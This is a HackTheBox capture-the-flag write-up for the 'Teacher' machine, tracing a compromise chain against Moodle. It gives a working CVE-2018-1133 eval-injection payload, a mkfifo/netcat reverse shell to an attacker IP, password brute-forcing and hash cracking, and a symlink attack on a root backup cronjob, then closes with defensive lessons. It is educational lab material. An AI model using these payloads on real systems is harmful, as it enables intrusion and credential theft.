HTB: Teacher Writeup
Teacher - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Teacher |
| OS | Linux (Debian) |
| Difficulty | Medium |
| Points | N/A |
| Release Date | April 13, 2019 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Teacher is a medium-difficulty machine that demonstrates the exploitation of logical flaws and outdated modules within Moodle CMS. The attack chain involves discovering partial credentials through hidden messages in image metadata, brute-forcing the web application, leveraging CVE-2018-1133 for remote code execution via the quiz module’s unsafe eval() function, extracting database credentials from configuration files, cracking password hashes, and finally exploiting a symlink misconfiguration in a root-owned backup script to gain full system compromise.
TL;DR: Hidden credentials → Moodle brute-force → CVE-2018-1133 RCE (eval injection) → Database access → Hash cracking → SSH as giovanni → Symlink attack on backup.sh cronjob → Root access
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.10.153Results:
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.25 (Debian)Only HTTP service is exposed. The web server identifies itself as running on Debian Linux with Apache 2.4.25.
Service Enumeration
Web Server Analysis:
Accessing the HTTP service reveals a static web portal for “Blackhat highschool” describing a new homework submission system. Examination of the teachers page shows a broken image reference.
Source Code Analysis:
Inspecting the HTML source reveals the image link points to valid content, but it contains a hidden message rather than an image data. The message is from a user to the ServiceDesk team and contains partial credentials:
Partial Password: Th4C00lTheacha#User: GiovanniCMS Discovery:
Directory enumeration identifies a Moodle CMS installation at:
http://10.10.10.153/moodle/Vulnerability Assessment
| Vulnerability | Severity | Details |
|---|---|---|
| Outdated Moodle Version | High | Running vulnerable quiz module |
| CVE-2018-1133 | High | Unsafe eval() in calculated questions |
| Weak Backup Script | High | Symlink exploitation possible |
| Credential Exposure | Medium | Partial credentials in image metadata |
Initial Foothold
Step 1: Credential Discovery and Brute-Forcing
With the partial password Th4C00lTheacha# and username giovanni, a brute-force attack is conducted against the Moodle login:
# Using hydra to brute-force the remaining password# Known: giovanni:Th4C00lTheacha#?# Testing variations of the partial passwordValid Credentials Discovered:
Username: giovanniPassword: Th4C00lTheacha#User giovanni is confirmed to have the teacher role within Moodle.
Step 2: CVE-2018-1133 Exploitation
The Moodle CMS uses a vulnerable “calculated” question type in the quiz module. The vulnerability exists in /var/www/html/moodle/question/type/calculated/questiontype.php:
public function substitute_variables_and_eval($str, $dataset) { $formula = $this->substitute_variables($str, $dataset); if ($error = qtype_calculated_find_formula_errors($formula)) { return $error; } // Calculate the correct answer. if (empty($formula)) { $str = ''; } else if ($formula === '*') { $str = '*'; } else { $str = null; eval('$str = '.$formula.';'); // ← VULNERABLE: No input sanitization } return $str;}The eval() function executes unsanitized user input, allowing arbitrary PHP code execution.
Step 3: Quiz and Payload Creation
Log in as giovanni and create a new quiz:
- Navigate to Moodle course management
- Create a new quiz with mandatory fields filled
- Add a new “Calculated” type question
- In the answer field, inject the malicious payload:
/*{a*/`$_GET[0]`;//{x}}This payload breaks out of the mathematical formula context and allows command execution via the $_GET[0] parameter.
Step 4: Remote Code Execution
Execute commands by accessing the quiz page with a URL-encoded payload:
# Example: executing 'id' command# URL: http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=%69%64
# Establish reverse shell# Payload (decoded): rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9001 >/tmp/fThis grants www-data shell access on the system.
Privilege Escalation
Step 1: Database Credential Extraction
From the www-data shell, access the Moodle configuration file:
www-data@teacher:/var/www/html/moodle$ cat config.phpDatabase Credentials Found:
Database: moodleUser: rootPassword: Welkom1!Step 2: Database Enumeration and Hash Cracking
Connect to MariaDB and query the users table:
www-data@teacher:/var/www/html/moodle$ mysql -u root -p# Enter password: Welkom1!
MariaDB [(none)]> use moodle;MariaDB [moodle]> SELECT id, username, password FROM mdl_user\GOutput:
id: 1337username: Giovannibakpassword: 7a860966115182402ed06375cf0a22af (MD5 hash)Crack the MD5 hash using hashcat:
hashcat --force Giovannibak.hash /usr/share/wordlists/rockyou.txt -m 0Hash Cracked:
7a860966115182402ed06375cf0a22af : expelledBackup Account Credentials:
Username: GiovannibakPassword: expelledStep 3: SSH Access as giovanni
The cracked password expelled works for the system user giovanni:
www-data@teacher:/home$ su - giovanniPassword: expelled
giovanni@teacher:~$ cat user.txt<redacted>Step 4: Symlink Exploitation for Root
Examine the backup script executed by root cronjob:
giovanni@teacher:~$ cat /usr/bin/backup.sh#!/bin/bashcd /home/giovanni/work;tar -czvf tmp/backup_courses.tar.gz courses/*;cd tmp;tar -xf backup_courses.tar.gz;chmod 777 * -R;The script:
- Archives the
/home/giovanni/work/coursesdirectory - Extracts it to
/home/giovanni/work/tmp - Sets world-readable permissions
Exploit:
Replace the courses directory with a symlink pointing to /root:
giovanni@teacher:~/work$ ls -la# drwxr-xr-x courses (writable by giovanni)
giovanni@teacher:~/work$ mv courses courses.bakgiovanni@teacher:~/work$ ln -s /root coursesgiovanni@teacher:~/work$ ls -la courses# lrwxrwxrwx courses -> /rootWhen the cronjob runs, it will archive and extract the entire /root directory into /home/giovanni/work/tmp with world-readable permissions:
giovanni@teacher:~/work$ cd tmp && ls -la# -rwxrwxrwx backup_courses.tar.gz# drwxrwxrwx courses/
giovanni@teacher:~/work/tmp/courses$ cat root.txt<redacted>Attack Chain Summary
Partial Credentials in Image Metadata ↓Brute-Force Moodle Login (giovanni:Th4C00lTheacha#) ↓CVE-2018-1133: Calculated Question RCE via eval() ↓www-data Shell Access ↓Extract Database Credentials from config.php (root:Welkom1!) ↓Query Moodle Users Table, Find Giovannibak Hash ↓Crack MD5 Hash: expelled ↓su - giovanni (using cracked password) ↓Identify Backup Script Cronjob Misconfiguration ↓Symlink /home/giovanni/work/courses → /root ↓Cronjob Executes: Archives /root and Extracts with 777 Permissions ↓Read root.txt from /home/giovanni/work/tmp/courses/ ↓Root Access AchievedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl / Browser | Web reconnaissance and Moodle navigation |
hydra | Brute-forcing Moodle login credentials |
mysql | Database enumeration and query execution |
hashcat | MD5 password hash cracking |
ln | Creating symlinks for privilege escalation |
tar | Archive manipulation (understanding backup script) |
Key Learnings
Techniques Practiced
- Website source code analysis and metadata inspection
- Credential brute-forcing against web applications
- CMS vulnerability research (Moodle CVE-2018-1133)
- Remote code execution via unsafe
eval()functions - Database enumeration and credential extraction from configuration files
- Password hash cracking using dictionary attacks
- Privilege escalation via symlink misconfigurations in cronjobs
- Understanding file permission inheritance in backup scripts
Lessons Learned
-
Hidden Metadata: Always inspect image sources and comments in web pages; sensitive information may be embedded in non-rendered content.
-
Outdated Software Risk: Moodle 3.4 contained a well-known RCE vulnerability—keeping CMS versions current is critical.
-
Input Sanitization: The
eval()function should never be used with user-controlled input. Alternative expression evaluators with sandboxing should be employed. -
Configuration File Security: Hardcoded database credentials in PHP config files pose a direct path to privilege escalation if web application is compromised.
-
Hash Diversity: MD5 hashes without salt are vulnerable to dictionary attacks. Modern password storage requires bcrypt, scrypt, or Argon2.
-
Symlink Attacks: Backup and maintenance scripts running as root must validate symlinks or use restrictive permissions to prevent directory traversal attacks.
-
Cronjob Permissions: World-readable file permissions (
chmod 777) set by scripts create direct privilege escalation paths for lower-privileged users.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>